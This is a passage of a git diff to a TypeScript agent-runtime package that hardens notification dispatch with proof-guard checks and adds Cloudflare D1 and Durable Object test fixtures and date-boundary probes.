+        for (const record of item.records) {
+          await recordFailure(observations.get(record.id), {
+            type: 'failure',
+            error,
+          });
+        }
       }
       continue;
     }
 
     const selected = item.record;
+    let expected = observations.get(selected.id);
     try {
-      const record = await options.storage.getNotification({
+      const current = await deliveryStorage.getNotification({
         threadId: selected.threadId,
         id: selected.id,
       });
+      if (
+        current?.status !== 'pending' ||
+        current.deliveredSignalId ||
+        current.id !== selected.id ||
+        current.threadId !== options.threadId ||
+        current.resourceId !== resourceId ||
+        current.agentId !== options.agentId
+      ) {
+        settle(selected.id, 'skipped');
+        continue;
+      }
+      // Clearing the pre-read observation keeps a failure between here and the
+      // re-capture from being recorded against stale state.
+      expected = undefined;
+      const selection = captureNotificationDeliverySelection(current);
+      const { record } = selection;
+      expected = selection.expected;
       const summaryDue = Boolean(
-        record?.summaryAt && record.summaryAt.getTime() <= now.getTime(),
+        record.summaryAt && record.summaryAt.getTime() <= nowMs,
       );
       const deliveryDue = Boolean(
-        record?.deliverAt && record.deliverAt.getTime() <= now.getTime(),
+        record.deliverAt && record.deliverAt.getTime() <= nowMs,
       );
-      if (
-        record?.status !== 'pending' ||
-        record.deliveredSignalId ||
-        record.resourceId !== resourceId ||
-        record.agentId !== options.agentId ||
-        summaryDue ||
-        !deliveryDue
-      ) {
-        skipped += 1;
+      if (summaryDue || !deliveryDue) {
+        settle(selected.id, 'skipped');
+        continue;
+      }
+      if (expected.deliveryAttempts >= options.maxDeliveryAttempts) {
+        await recordFailure(expected, { type: 'exhausted' });
         continue;
       }
       if (
@@ -1178,13 +1337,13 @@ async function handleNotificationDispatch(options: {
         record.summarySignalId &&
         batchThreadState === 'active'
       ) {
-        skipped += 1;
+        settle(selected.id, 'skipped');
         continue;
       }
       const signal = createNotificationSignal({
         ...record,
         status: 'delivered',
-        deliveredAt: now,
+        deliveredAt: new Date(nowMs),
       });
       const inspection = await inspect(signal);
       if (inspection === 'denied') {
@@ -1192,20 +1351,30 @@ async function handleNotificationDispatch(options: {
         continue;
       }
       if (inspection === 'error') {
-        await updateFailure(record, new Error('signal content policy failed'));
+        await recordFailure(expected, {
+          type: 'failure',
+          error: new Error('signal content policy failed'),
+        });
         continue;
       }
       const signalId = await send(signal);
+      await options.proof?.check();
+      options.proof?.assertActive();
       await options.storage.updateNotification({
         id: record.id,
         threadId: record.threadId,
         status: 'delivered',
         deliveredSignalId: signalId,
-        lastDeliveryAttemptAt: now,
+        lastDeliveryAttemptAt: new Date(nowMs),
       });
-      delivered += 1;
+      settle(record.id, 'delivered');
     } catch (error) {
-      await updateFailure(selected, error);
+      if (isExecutionFenceRefusal(error)) throw error;
+      if (expected) await recordFailure(expected, { type: 'failure', error });
+      else {
+        settle(selected.id, 'failed');
+        reportNotificationDeliveryError(error);
+      }
     }
   }
 
@@ -1357,6 +1526,7 @@ async function handleWake(options: {
    * exactly what proof-only admits by.
    */
   executionFence: ExecutionFenceReading;
+  proof?: SignalProofGuard;
   deliverActive(runId: string, memoryAvailable: boolean): WakeDelivery;
   persist(): WakeDelivery;
 }): Promise<Response> {
@@ -1378,9 +1548,12 @@ async function handleWake(options: {
     // what the drain is waiting for — and in proof-only it is admitted only
     // for the nominated run. The check sits after the principal gate so a
     // fenced deployment leaks nothing a permitted caller could not see.
-    if (activeRunId && !admitsExistingRun(fence, activeRunId)) {
-      return executionFencedResponse(fence.state, 'signal delivery');
-    }
+    const admitted =
+      fence.state === 'proof-only'
+        ? await options.proof?.capture(activeRunId)
+        : undefined;
+    if (fence.state === 'proof-only' && admitted === undefined)
+      throw new ExecutionFencedError(fence.state, 'signal delivery');
     if (activeRunId) {
       if (durableBlockingRun && durableBlockingRun.runId !== activeRunId) {
         return json({
@@ -1393,6 +1566,8 @@ async function handleWake(options: {
         });
       }
       const memoryAvailable = await options.memoryAvailable();
+      await options.proof?.check(admitted);
+      options.proof?.assertActive(admitted);
       const delivered = options.deliverActive(activeRunId, memoryAvailable);
       const decision = await delivered.accepted;
       if (delivered.persisted) await delivered.persisted;
@@ -1595,6 +1770,7 @@ async function handleScheduleSignal(options: {
   store: ScheduleSignalDispatchStore;
   completed: Map<string, ScheduleAgentDispatchReceipt>;
   inspectContent?: InspectSignalContent;
+  proof?: SignalProofGuard;
   /** The ONE fence reading this request took — see handleWake. */
   executionFence: ExecutionFenceReading;
 }): Promise<Response> {
@@ -1625,6 +1801,8 @@ async function handleScheduleSignal(options: {
     const receipt = createScheduleAgentDispatchReceipt('discard', {
       signalId: dispatchId,
     });
+    await options.proof?.check();
+    options.proof?.assertActive();
     options.completed.set(dispatchId, receipt);
     await options.store.settle(scheduleId, dispatchId, receipt);
     options.completed.delete(dispatchId);
@@ -1633,10 +1811,14 @@ async function handleScheduleSignal(options: {
 
   const completed = options.completed.get(dispatchId);
   if (completed) {
+    await options.proof?.check();
+    options.proof?.assertActive();
     await options.store.settle(scheduleId, dispatchId, completed);
     options.completed.delete(dispatchId);
     return json({ receipt: completed });
   }
+  await options.proof?.check();
+  options.proof?.assertActive();
   const state = await options.store.begin(scheduleId, dispatchId);
   if (state.state === 'missing') {
     return json({ error: 'schedule dispatch not found' }, 404);
@@ -1660,6 +1842,8 @@ async function handleScheduleSignal(options: {
       runId: recoveredRun.runId,
       signalId: dispatchId,
     };
+    await options.proof?.check();
+    options.proof?.assertActive();
     options.completed.set(dispatchId, receipt);
     await options.store.settle(scheduleId, dispatchId, receipt);
     options.completed.delete(dispatchId);
@@ -1677,6 +1861,8 @@ async function handleScheduleSignal(options: {
       runId: durableBlockingRun.runId,
       signalId: dispatchId,
     };
+    await options.proof?.check();
+    options.proof?.assertActive();
     options.completed.set(dispatchId, receipt);
     await options.store.settle(scheduleId, dispatchId, receipt);
     options.completed.delete(dispatchId);
@@ -1698,14 +1884,18 @@ async function handleScheduleSignal(options: {
   ) {
     // The operator has to be able to find the broken schedule; the offending
     // name itself stays out of the log.
-    console.error(
-      JSON.stringify({
-        type: 'schedule-target-unrenderable',
-        scheduleId,
-        dispatchId,
-        agentId: target.agentId,
-      }),
-    );
+    try {
+      console.error(
+        JSON.stringify({
+          type: 'schedule-target-unrenderable',
+          scheduleId,
+          dispatchId,
+          agentId: target.agentId,
+        }),
+      );
+    } catch {
+      // Diagnostics cannot prevent terminal settlement.
+    }
     return await settleDiscard();
   }
 
@@ -1845,6 +2035,7 @@ async function handleScheduleSignal(options: {
       startIdleRun: options.startIdleRun,
       serializeWake: options.serializeWake,
       executionFence: options.executionFence,
+      proof: options.proof,
       blockingRun: durableBlockingRun
         ? () => durableBlockingRun
         : options.blockingRun,
@@ -1881,6 +2072,8 @@ async function handleScheduleSignal(options: {
     signalId =
       typeof payload.signalId === 'string' ? payload.signalId : undefined;
   } else {
+    await options.proof?.check();
+    options.proof?.assertActive();
     const sent = options.agent.sendSignal(deliverableSignal, signalTarget);
     decision = await sent.accepted;
     const action = recordValue(decision)?.action;
@@ -1899,6 +2092,8 @@ async function handleScheduleSignal(options: {
   if (!receipt) {
     throw new Error('agent schedule returned an invalid signal decision');
   }
+  await options.proof?.check();
+  options.proof?.assertActive();
   options.completed.set(dispatchId, receipt);
   await options.store.settle(scheduleId, dispatchId, receipt);
   options.completed.delete(dispatchId);
@@ -1934,6 +2129,7 @@ async function handleMessage(
     persistenceAllowed: boolean;
     memoryAvailable: MemoryAvailable;
     inspectContent: InspectSignalContent | undefined;
+    proof?: SignalProofGuard;
     /** The ONE fence reading this request took — see handleWake. */
     executionFence: ExecutionFenceReading;
   },
@@ -1986,6 +2182,7 @@ async function handleMessage(
       startIdleRun,
       serializeWake,
       executionFence: options.executionFence,
+      proof: options.proof,
       blockingRun: durableBlockingRun
         ? () => durableBlockingRun
         : options.blockingRun,
@@ -2019,6 +2216,8 @@ async function handleMessage(
     return persistenceForbiddenResponse({ capped: false });
   }
   const memoryAvailable = await options.memoryAvailable();
+  await options.proof?.check();
+  options.proof?.assertActive();
   const result = agent.sendMessage(message, {
     threadId,
     resourceId,
@@ -2051,6 +2250,7 @@ async function handleQueue(
     persistenceAllowed: boolean;
     memoryAvailable: MemoryAvailable;
     inspectContent: InspectSignalContent | undefined;
+    proof?: SignalProofGuard;
   },
 ): Promise<Response> {
   if (!isContents(body.contents)) {
@@ -2083,6 +2283,8 @@ async function handleQueue(
   );
   if (policyRefusal) return policyRefusal;
   if (!(await options.memoryAvailable())) return memoryUnavailableResponse();
+  await options.proof?.check();
+  options.proof?.assertActive();
   const result = agent.sendMessage(message, {
     threadId,
     resourceId,
@@ -2111,6 +2313,7 @@ async function handleSignal(
     persistenceAllowed: boolean;
     memoryAvailable: MemoryAvailable;
     inspectContent: InspectSignalContent | undefined;
+    proof?: SignalProofGuard;
     /** The ONE fence reading this request took — see handleWake. */
     executionFence: ExecutionFenceReading;
   },
@@ -2166,6 +2369,8 @@ async function handleSignal(
     if (!isPathSafeId(runId)) {
       throw new Error('thread signal generated a non-path-safe run id');
     }
+    await options.proof?.check();
+    options.proof?.assertActive();
     const result = agent.sendSignal(signal, {
       threadId,
       runId,
@@ -2188,6 +2393,7 @@ async function handleSignal(
       startIdleRun,
       serializeWake,
       executionFence: options.executionFence,
+      proof: options.proof,
       blockingRun: durableBlockingRun
         ? () => durableBlockingRun
         : options.blockingRun,
@@ -2223,6 +2429,8 @@ async function handleSignal(
   const memoryAvailable = await options.memoryAvailable();
   const wasActive =
     activeThreadRunIdOf(agent, threadId, resourceId) !== undefined;
+  await options.proof?.check();
+  options.proof?.assertActive();
   const result = agent.sendSignal(signal, {
     threadId,
     resourceId,
@@ -2267,6 +2475,7 @@ async function handleState(
     runtimeDriven: boolean;
     memoryAvailable: MemoryAvailable;
     inspectContent: InspectSignalContent | undefined;
+    proof?: SignalProofGuard;
   },
 ): Promise<Response> {
   if (typeof body.id !== 'string' || typeof body.cacheKey !== 'string') {
@@ -2321,6 +2530,8 @@ async function handleState(
   );
   if (policyRefusal) return policyRefusal;
   if (!(await options.memoryAvailable())) return memoryUnavailableResponse();
+  await options.proof?.check();
+  options.proof?.assertActive();
   const result = await agent.sendStateSignal(state, {
     threadId,
     resourceId,
@@ -2357,6 +2568,7 @@ async function handleNotification(
     persistenceAllowed: boolean;
     runtimeDriven: boolean;
     inspectContent: InspectSignalContent | undefined;
+    proof?: SignalProofGuard;
   },
 ): Promise<Response> {
   if (
@@ -2409,6 +2621,17 @@ async function handleNotification(
       409,
     );
   }
+  // Ingestion reaches core's patched functions below — the content-policy gate
+  // renders a prospective summary through summarizeNotifications, and core's
+  // inline sender resolves the configured source delivery policy — so the
+  // refusal sits above the branches rather than beside a single reach. It
+  // refuses the record-only branch as well, which a deployment that ingests
+  // here and delegates dispatch elsewhere pays. The route's catch answers 502
+  // with the message on the server log. Each subject has its own probe: the
+  // synchronous call covers summarizeNotifications, and the awaited one covers
+  // the source delivery policy lookup, which resolves asynchronously.
+  assertNotificationSourceKeysPatched();
+  await assertNotificationDeliveryPolicyPatched();
   // This gate is AUTHORITATIVE, not a preview: core can send an individual or
   // summary signal before the record reaches the dispatcher's second gate.
   // Storage owns the id, timestamps, and coalescing, so inspect a prospective
@@ -2454,6 +2677,8 @@ async function handleNotification(
     if (!storage) {
       return json({ error: 'notifications storage unavailable' }, 409);
     }
+    await options.proof?.check();
+    options.proof?.assertActive();
     const record = await storage.createNotification({
       ...notification,
       threadId,
@@ -2466,6 +2691,8 @@ async function handleNotification(
       delivery: { action: 'deferred', reason: 'dispatcher' },
     });
   }
+  await options.proof?.check();
+  options.proof?.assertActive();
   const result = await agent.sendNotificationSignal(notification, {
     threadId,
     resourceId,
diff --git a/packages/flowsafe/src/wiring-census.test.ts b/packages/flowsafe/src/wiring-census.test.ts
index 5218cfb9..2e9e8a35 100644
--- a/packages/flowsafe/src/wiring-census.test.ts
+++ b/packages/flowsafe/src/wiring-census.test.ts
@@ -43,7 +43,9 @@ import type {
   ExecutionFenceStore,
   ExecutionFenceWiring,
   InitOptions,
+  PersistedStartResult,
   RunnerRuntimeOptions,
+  RunSummary,
   StartIdempotencyStore,
   StartIdempotencyWiring,
   StorageInitOptions,
@@ -234,6 +236,15 @@ export type RunRouterStartIdempotencyOk = [
     >
   >,
   Assert<Equals<Extract<RunRouterStartIdempotency, 'none'>, 'none'>>,
+  Assert<
+    Equals<
+      Exclude<RunRouterStartIdempotency, 'none'>['persistedStart'],
+      (
+        workflowId: string,
+        runId: string,
+      ) => Promise<PersistedStartResult<RunSummary> | undefined>
+    >
+  >,
 ];
 
 /**
@@ -289,6 +300,11 @@ describe('wiring census', () => {
     // #then — identical readings. This is the premise the whole census rests
     // on: requiring the field costs a database-less host nothing but the words.
     expect(written).toEqual(absent);
-    expect(written).toEqual({ state: 'open' });
+    expect(written).toEqual({
+      state: 'open',
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+      transitionRevision: 0,
+    });
   });
 });
diff --git a/packages/flowsafe/test-support/d1-type-compatibility.ts b/packages/flowsafe/test-support/d1-type-compatibility.ts
new file mode 100644
index 00000000..5bd80271
--- /dev/null
+++ b/packages/flowsafe/test-support/d1-type-compatibility.ts
@@ -0,0 +1,83 @@
+// SPDX-License-Identifier: Apache-2.0
+// `SignalDatabase`, `SnapshotDatabase` and `InitialAdmissionDatabase` are
+// structural subsets of D1 held in method syntax, so a host passes its
+// `env.DB` binding straight through with no adapter. These erased assertions
+// hold that open against a real D1Database, on the public type each consumer
+// names. `ScheduleDatabase` is an alias of `SignalDatabase` (schedules-d1.ts),
+// so the signal pin covers it. Same technique as the R2 seam beside this file
+// and the runtime pins in src/do-runner/cf-types.ts.
+//
+// PLACEMENT: an erased pin on a database seam belongs in this file, not in the
+// suite that drives the seam. `architecture:check:rules` cruises `packages` but
+// drops packages/flowsafe/src/**/*.test.ts, so a pin written in a suite sits
+// outside the graph that gate reads and its edges go uncruised.
+import type { D1Database } from '@cloudflare/workers-types';
+
+import type { ResourceOwnershipDatabase } from '../src/approval-api/index.js';
+import type {
+  ExecutionFenceDatabase,
+  InitialAdmissionDatabase,
+  SnapshotDatabase,
+  SnapshotStatement,
+} from '../src/do-runner/index.js';
+import type { SignalDatabase, SignalStatement } from '../src/signals/index.js';
+import type { SqliteUnitDatabase } from './sqlite.js';
+
+type AssertTrue<T extends true> = T;
+type _D1SatisfiesSignalDatabase = AssertTrue<
+  D1Database extends SignalDatabase ? true : false
+>;
+type _D1SatisfiesSnapshotDatabase = AssertTrue<
+  D1Database extends SnapshotDatabase ? true : false
+>;
+type _D1SatisfiesInitialAdmissionDatabase = AssertTrue<
+  D1Database extends InitialAdmissionDatabase ? true : false
+>;
+
+// The assertions above hold one direction of the seam: a real D1Database
+// satisfies it. These hold the other direction. A batch element carries
+// `results` — the requirement the `batch` docstrings in signals/d1-shared.ts
+// and do-runner/workflow-snapshot-row.ts place on a hand-written adapter — and
+// an element widened back to `unknown` admits an adapter that resolves write
+// metadata alone, while the assertions above still pass.
+type AssertFalse<T extends false> = T;
+/** D1 write metadata alone, without the rows a `D1Result` carries. */
+type MetaOnlyBatchResult = { meta?: { changes?: number } };
+interface MetaOnlySignalAdapter {
+  prepare(query: string): SignalStatement;
+  batch(statements: SignalStatement[]): Promise<MetaOnlyBatchResult[]>;
+}
+interface MetaOnlySnapshotAdapter {
+  prepare(query: string): SnapshotStatement;
+  batch(statements: SnapshotStatement[]): Promise<MetaOnlyBatchResult[]>;
+}
+type _MetaOnlyAdapterFailsSignalDatabase = AssertFalse<
+  MetaOnlySignalAdapter extends SignalDatabase ? true : false
+>;
+type _MetaOnlyAdapterFailsSnapshotDatabase = AssertFalse<
+  MetaOnlySnapshotAdapter extends SnapshotDatabase ? true : false
+>;
+type _MetaOnlyAdapterFailsInitialAdmissionDatabase = AssertFalse<
+  MetaOnlySnapshotAdapter extends InitialAdmissionDatabase ? true : false
+>;
+
+// The fixture side of the same seam. The declared return of sqliteUnitDatabase
+// is what the `as` assertion in each suite that drives it is checked against,
+// so a narrowing of the facade fails here rather than at the assertion sites.
+// `ScheduleDatabase` is an alias of `SignalDatabase` (schedules-d1.ts), as
+// above.
+type _FacadeSatisfiesSignalDatabase = AssertTrue<
+  SqliteUnitDatabase extends SignalDatabase ? true : false
+>;
+type _FacadeSatisfiesSnapshotDatabase = AssertTrue<
+  SqliteUnitDatabase extends SnapshotDatabase ? true : false
+>;
+type _FacadeSatisfiesInitialAdmissionDatabase = AssertTrue<
+  SqliteUnitDatabase extends InitialAdmissionDatabase ? true : false
+>;
+type _FacadeSatisfiesExecutionFenceDatabase = AssertTrue<
+  SqliteUnitDatabase extends ExecutionFenceDatabase ? true : false
+>;
+type _FacadeSatisfiesResourceOwnershipDatabase = AssertTrue<
+  SqliteUnitDatabase extends ResourceOwnershipDatabase ? true : false
+>;
diff --git a/packages/flowsafe/test-support/durable-key-value-storage.ts b/packages/flowsafe/test-support/durable-key-value-storage.ts
new file mode 100644
index 00000000..b702a923
--- /dev/null
+++ b/packages/flowsafe/test-support/durable-key-value-storage.ts
@@ -0,0 +1,64 @@
+// SPDX-License-Identifier: Apache-2.0
+// An in-memory DurableKeyValueStorage for Durable Object suites.
+//
+// Durable Object storage serializes on write and hands back a fresh object on
+// read, so this fixture clones in both directions. One that stored and returned
+// live references passes while the code under test mutates a value it has
+// already written, and workerd carries no such mutation to the next read.
+//
+// `events` records each call in order and `alarms` each armed time, so the
+// order of the run-owner journal protocol — arm the wake, then write the
+// journal — is assertable without a second stub. A caller supplies its own
+// `events` array to interleave its own markers with the storage calls in a
+// single ordering.
+
+import type { DurableObjectState } from '@cloudflare/workers-types';
+
+import type { DurableKeyValueStorage } from '../src/do-runner/cf-types.js';
+
+export interface DurableKeyValueStorageFixture {
+  /** The storage a Durable Object host reads, writes and arms alarms through. */
+  storage: DurableKeyValueStorage;
+  /** A DurableObjectState carrying that storage and no `id`. */
+  state: DurableObjectState;
+  /** The stored clones, for seeding a record or reading one back. */
+  values: Map<string, unknown>;
+  /** Each armed alarm time, in call order; `deleteAlarm` leaves them recorded. */
+  alarms: number[];
+}
+
+export function durableKeyValueStorageFixture(
+  events: string[] = [],
+): DurableKeyValueStorageFixture {
+  const values = new Map<string, unknown>();
+  const alarms: number[] = [];
+  const storage: DurableKeyValueStorage = {
+    async get<T>(key: string): Promise<T | undefined> {
+      events.push(`get:${key}`);
+      return structuredClone(values.get(key)) as T | undefined;
+    },
+    async put<T>(key: string, value: T): Promise<void> {
+      events.push(`put:${key}`);
+      values.set(key, structuredClone(value));
+    },
+    async delete(key: string): Promise<boolean> {
+      events.push(`delete:${key}`);
+      return values.delete(key);
+    },
+    async setAlarm(scheduledTime: number | Date): Promise<void> {
+      events.push('setAlarm');
+      alarms.push(
+        scheduledTime instanceof Date ? scheduledTime.getTime() : scheduledTime,
+      );
+    },
+    async deleteAlarm(): Promise<void> {
+      events.push('deleteAlarm');
+    },
+  };
+  return {
+    storage,
+    state: { storage } as unknown as DurableObjectState,
+    values,
+    alarms,
+  };
+}
diff --git a/packages/flowsafe/test-support/harness-probe.ts b/packages/flowsafe/test-support/harness-probe.ts
index 7610c164..da7517f4 100644
--- a/packages/flowsafe/test-support/harness-probe.ts
+++ b/packages/flowsafe/test-support/harness-probe.ts
@@ -1,21 +1,60 @@
 // SPDX-License-Identifier: Apache-2.0
+
+import type { CreateNotificationInput } from '@mastra/core/notifications';
 import { createEmptyWorkflowSnapshot } from '@mastra/core/storage';
+import { z } from 'zod';
+import { EXECUTION_FENCE_TABLE } from '#deployment-identity-protocol';
 
+import {
+  type ActorContext,
+  createActorResolver,
+} from '../src/approval-api/actor-context.js';
 import { D1ApprovalStore } from '../src/approval-api/d1-store.js';
 import {
   D1ResourceOwnershipStore,
   RESOURCE_OWNERSHIP_TABLE,
 } from '../src/approval-api/resource-ownership.js';
+import { D1ApprovalStoreFactory } from '../src/approval-api/store-factory.js';
 import type { ApprovalRecord } from '../src/approval-api/types.js';
 import { createBackgroundTaskD1Domains } from '../src/background-tasks/d1-storage.js';
 import {
   createD1Storage,
+  purgeExpiredNotifications,
   purgeExpiredThreads,
   purgeExpiredWorkflowRuns,
+  type RunRetentionCursor,
 } from '../src/do-runner/d1-storage.js';
 import { seedDeploymentIdentity } from '../src/do-runner/deployment-identity.js';
+import { MUTATION_EPOCH_HEADER } from '../src/do-runner/execution-admission.js';
+import { ExecutionFenceStore } from '../src/do-runner/execution-fence.js';
+import { FENCED_WORKFLOW_STORAGE } from '../src/do-runner/fenced-workflow-capability.js';
+import { FencedWorkflowsStorageD1 } from '../src/do-runner/fenced-workflows-d1.js';
+import { init } from '../src/do-runner/init.js';
+import { isDefinitiveInitialAdmissionRefusal } from '../src/do-runner/initial-admission-refusal.js';
+import {
+  parseRunLifecycle,
+  projectTerminalLifecycle,
+} from '../src/do-runner/run-lifecycle.js';
+import type { StartRunOptions } from '../src/do-runner/runtime.js';
+import { StartIdempotencyStore } from '../src/do-runner/start-idempotency.js';
+import {
+  START_IDEMPOTENCY_ADDITIONS,
+  START_IDEMPOTENCY_DDL,
+  START_IDEMPOTENCY_TABLE,
+} from '../src/do-runner/start-reservation-contract.js';
+import { validateTablePrefix } from '../src/do-runner/table-prefix.js';
+import type {
+  SnapshotDatabase,
+  SnapshotStatement,
+} from '../src/do-runner/workflow-snapshot-row.js';
+import { createRunRouter } from '../src/host-kit/run-router.js';
+import { ScheduleMutationOutcomeUnknownError } from '../src/schedules/mutation-contract.js';
+import { createScheduleRouter } from '../src/schedules/router.js';
 import { D1SchedulesStorage } from '../src/schedules/schedules-d1.js';
-import { scheduleWithCreatorRole } from '../src/schedules/target-policy.js';
+import {
+  createScheduleTargetPolicy,
+  scheduleWithCreatorRole,
+} from '../src/schedules/target-policy.js';
 import { D1NotificationsStorage } from '../src/signals/notifications-d1.js';
 
 interface Env {
@@ -92,6 +131,11 @@ async function approvalProbe(db: D1Database): Promise<unknown> {
   };
 }
 
+function scheduleMutationFailure(error: unknown) {
+  if (!(error instanceof ScheduleMutationOutcomeUnknownError)) throw error;
+  return { reason: error.reason, cause: String(error.cause) };
+}
+
 async function scheduleProbe(db: D1Database): Promise<unknown> {
   const store = new D1SchedulesStorage(db);
   const resources = new D1ResourceOwnershipStore(db);
@@ -147,11 +191,11 @@ async function scheduleProbe(db: D1Database): Promise<unknown> {
        BEGIN SELECT RAISE(ABORT, 'injected owner delete failure'); END`,
     )
     .run();
-  let rollbackError = '';
+  let rollbackError: ReturnType<typeof scheduleMutationFailure> | undefined;
   try {
     await store.deleteOwnedSchedule(rollback.id);
   } catch (error) {
-    rollbackError = String(error);
+    rollbackError = scheduleMutationFailure(error);
   }
 
   const successfulDelete = schedule('schedule-delete');
@@ -176,11 +220,11 @@ async function scheduleProbe(db: D1Database): Promise<unknown> {
        BEGIN SELECT RAISE(ABORT, 'injected owner insert failure'); END`,
     )
     .run();
-  let ownerInsertError = '';
+  let ownerInsertError: ReturnType<typeof scheduleMutationFailure> | undefined;
   try {
     await store.createOwnedSchedule(ownerFailure, owner, 10);
   } catch (error) {
-    ownerInsertError = String(error);
+    ownerInsertError = scheduleMutationFailure(error);
   }
 
   return {
@@ -352,6 +396,266 @@ async function notificationProbe(db: D1Database): Promise<unknown> {
   };
 }
 
+function createChronologyNotification(
+  storage: D1NotificationsStorage,
+  input: Partial<CreateNotificationInput>,
+) {
+  return storage.createNotification({
+    threadId: 'thread-chronology',
+    source: 'source',
+    kind: 'kind',
+    summary: 'summary',
+    createdAt: new Date('2026-09-09T10:00:00.000Z'),
+    ...input,
+  });
+}
+
+async function notificationChronologyFutureProbe(db: D1Database) {
+  const storage = new D1NotificationsStorage(db, '');
+  const outcomes = [];
+  for (const cursor of ['deliverAt', 'summaryAt'] as const) {
+    await createChronologyNotification(storage, {
+      id: 'future',
+      threadId: cursor,
+      resourceId: cursor,
+      [cursor]: new Date('+010000-01-01T00:00:00.000Z'),
+    });
+    await createChronologyNotification(storage, {
+      id: 'due',
+      threadId: cursor,
+      resourceId: cursor,
+      [cursor]: new Date('2026-09-09T11:59:59.000Z'),
+    });
+    const query = {
+      now: new Date('2026-09-09T12:00:00.000Z'),
+      resourceId: cursor,
+    };
+    outcomes.push({
+      cursor,
+      boundedIds: (
+        await storage.listDueNotifications({ ...query, limit: 1 })
+      ).map((record) => record.id),
+      dueIds: (await storage.listDueNotifications(query)).map(
+        (record) => record.id,
+      ),
+    });
+  }
+  return outcomes;
+}
+
+async function notificationChronologyOffsetsProbe(db: D1Database) {
+  const storage = new D1NotificationsStorage(db, '');
+  const outcomes = [];
+  const fixtures = [
+    { id: 'first', at: '2026-09-09T12:30:00.1239+02:00' },
+    { id: 'second', at: '2026-09-09T09:45:00.123-0100' },
+    { id: 'third', at: '2026-09-09T11:00:00.123Z' },
+  ];
+  for (const cursor of ['deliverAt', 'summaryAt'] as const) {
+    for (const fixture of fixtures) {
+      await createChronologyNotification(storage, {
+        id: fixture.id,
+        threadId: cursor,
+        resourceId: cursor,
+      });
+      await db
+        .prepare(
+          `UPDATE mastra_notifications SET ${cursor} = ?
+           WHERE thread_id = ? AND id = ?`,
+        )
+        .bind(fixture.at, cursor, fixture.id)
+        .run();
+    }
+    const bounded = await storage.listDueNotifications({
+      now: new Date('2026-09-09T10:30:00.123Z'),
+      resourceId: cursor,
+      limit: 1,
+    });
+    const due = await storage.listDueNotifications({
+      now: new Date('2026-09-09T12:00:00.000Z'),
+      resourceId: cursor,
+    });
+    outcomes.push({
+      cursor,
+      boundedIds: bounded.map((record) => record.id),
+      due: due.map((record) => ({
+        id: record.id,
+        at: record[cursor]?.getTime() ?? null,
+      })),
+      rawCursor: await db
+        .prepare(
+          `SELECT ${cursor} AS cursor FROM mastra_notifications
+           WHERE thread_id = ? AND id = ?`,
+        )
+        .bind(cursor, 'first')
+        .first<{ cursor: string }>(),
+    });
+  }
+  return outcomes;
+}
+
+async function notificationChronologyBoundsProbe(db: D1Database) {
+  const storage = new D1NotificationsStorage(db, '');
+  const outcomes = [];
+  const fixtures = [
+    {
+      name: 'negative',
+      past: '-000800-01-01T00:00:00.001Z',
+      now: '-000400-01-01T00:00:00.000Z',
+      future: '-000001-01-01T00:00:00.000Z',
+    },
+    {
+      name: 'minimum',
+      past: '-271821-04-20T00:00:00.000Z',
+      now: '-271821-04-20T00:00:00.001Z',
+      future: '-271821-04-20T00:00:00.002Z',
+    },
+    {
+      name: 'maximum',
+      past: '+275760-09-12T23:59:59.998Z',
+      now: '+275760-09-12T23:59:59.999Z',
+      future: '+275760-09-13T00:00:00.000Z',
+    },
+  ];
+  for (const fixture of fixtures) {
+    const scope = { threadId: fixture.name, resourceId: fixture.name };
+    const now = new Date(fixture.now);
+    await createChronologyNotification(storage, {
+      ...scope,
+      id: 'past',
+      deliverAt: new Date(fixture.past),
+    });
+    await createChronologyNotification(storage, {
+      ...scope,
+      id: 'equal',
+      summaryAt: now,
+    });
+    await createChronologyNotification(storage, {
+      ...scope,
+      id: 'future',
+      deliverAt: new Date(fixture.future),
+      summaryAt: new Date(fixture.future),
+    });
+    const query = { now, resourceId: fixture.name };
+    const bounded = await storage.listDueNotifications({ ...query, limit: 1 });
+    const due = await storage.listDueNotifications(query);
+    outcomes.push({
+      name: fixture.name,
+      boundedIds: bounded.map((record) => record.id),
+      due: due.map((record) => ({
+        id: record.id,
+        deliverAt: record.deliverAt?.getTime() ?? null,
+        summaryAt: record.summaryAt?.getTime() ?? null,
+      })),
+    });
+  }
+  return outcomes;
+}
+
+async function notificationChronologyListProbe(db: D1Database) {
+  const storage = new D1NotificationsStorage(db, '');
+  const fixtures = [
+    { id: 'minimum', at: '-271821-04-20T00:00:00.000Z' },
+    { id: 'negative', at: '-000001-01-01T00:00:00.000Z' },
+    { id: 'offset', at: '2026-09-09T12:30:00.000+02:00' },
+    { id: 'ordinary', at: '2026-09-09T11:00:00.000Z' },
+    { id: 'expanded', at: '+010000-01-01T00:00:00.000Z' },
+    { id: 'maximum', at: '+275760-09-13T00:00:00.000Z' },
+  ];
+  for (const fixture of fixtures) {
+    await createChronologyNotification(storage, {
+      id: fixture.id,
+      createdAt: new Date(fixture.at),
+    });
+  }
+  await db
+    .prepare(
+      'UPDATE mastra_notifications SET updatedAt = ? WHERE thread_id = ? AND id = ?',
+    )
+    .bind('2026-09-09T12:30:00.000+02:00', 'thread-chronology', 'offset')
+    .run();
+  return {
+    boundedIds: (
+      await storage.listNotifications({
+        threadId: 'thread-chronology',
+        limit: 3,
+      })
+    ).map((record) => record.id),
+    records: (
+      await storage.listNotifications({ threadId: 'thread-chronology' })
+    ).map((record) => ({
+      id: record.id,
+      updatedAt: record.updatedAt.getTime(),
+    })),
+  };
+}
+
+async function notificationChronologyTtlProbe(db: D1Database) {
+  const storage = new D1NotificationsStorage(db, '');
+  const fixtures = [
+    {
+      id: 'future',
+      status: 'delivered',
+      updatedAt: '+010000-01-01T00:00:00.000Z',
+    },
+    {
+      id: 'older',
+      status: 'delivered',
+      updatedAt: '2026-09-09T12:59:59.999+02:00',
+    },
+    {
+      id: 'equal',
+      status: 'delivered',
+      updatedAt: '2026-09-09T10:00:00.000-0100',
+    },
+    {
+      id: 'pending',
+      status: 'pending',
+      updatedAt: '2020-01-01T00:00:00.000Z',
+    },
+  ] as const;
+  for (const fixture of fixtures) {
+    await createChronologyNotification(storage, {
+      id: fixture.id,
+      createdAt: new Date(fixture.updatedAt),
+    });
+    if (fixture.status === 'delivered') {
+      await storage.updateNotification({
+        threadId: 'thread-chronology',
+        id: fixture.id,
+        status: fixture.status,
+        deliveredSignalId: `signal-${fixture.id}`,
+      });
+    }
+    await db
+      .prepare(
+        'UPDATE mastra_notifications SET updatedAt = ? WHERE thread_id = ? AND id = ?',
+      )
+      .bind(fixture.updatedAt, 'thread-chronology', fixture.id)
+      .run();
+  }
+  const options = {
